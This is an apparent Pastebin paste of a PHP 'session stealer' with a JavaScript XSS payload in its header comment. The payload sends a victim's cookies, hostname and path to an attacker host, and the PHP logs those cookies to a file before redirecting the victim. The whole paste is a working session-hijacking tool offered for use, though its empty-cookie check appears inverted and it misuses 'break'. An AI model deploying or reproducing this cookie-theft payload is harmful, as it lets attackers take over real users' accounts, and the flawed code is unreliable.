nscho

Session-Stealer

Feb 24th, 2017
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.79 KB | None | 0 0
  1. <?php
  2. /*
  3. Session Hijacking XSS
  4. Session Stealer
  5. =======================
  6. Usage:
  7. <script type="text/javascript">
  8. var url = 'http://yourhost/session-stealer.php'+'?c='+document.cookie+'&w='+document.location.hostname+'&p='+document.location.pathname;
  9. document.location = url;
  10. </script>
  11. */
  12.  
  13.     $cook = $_GET['c'];
  14.     $web = $_GET['w'];
  15.     $path = $_GET['p'];
  16.  
  17.     if(!empty($cook))
  18.         {
  19.           // IF COOKIE EMPTY REDIRECT TO GOOGLE
  20.           ?><meta content='0;url=https://www.google.com/' http-equiv='refresh'/><?php
  21.           break;
  22.         }
  23.  
  24.  
  25.     else
  26.         {
  27.           $fp = fopen('cookie-got.txt', 'a');
  28.           fwrite($fp, 'Web : '.$web.'\nPath : '.$path.'\nCookie : '.$cook.'\n====================\n');
  29.           fclose($fp);
  30.           ?><meta content='0;url=http://<?php echo $web;?>' http-equiv='refresh'/><?php
  31.           break;
  32.         }
  33. ?>
Add Comment
Please, Sign In to add comment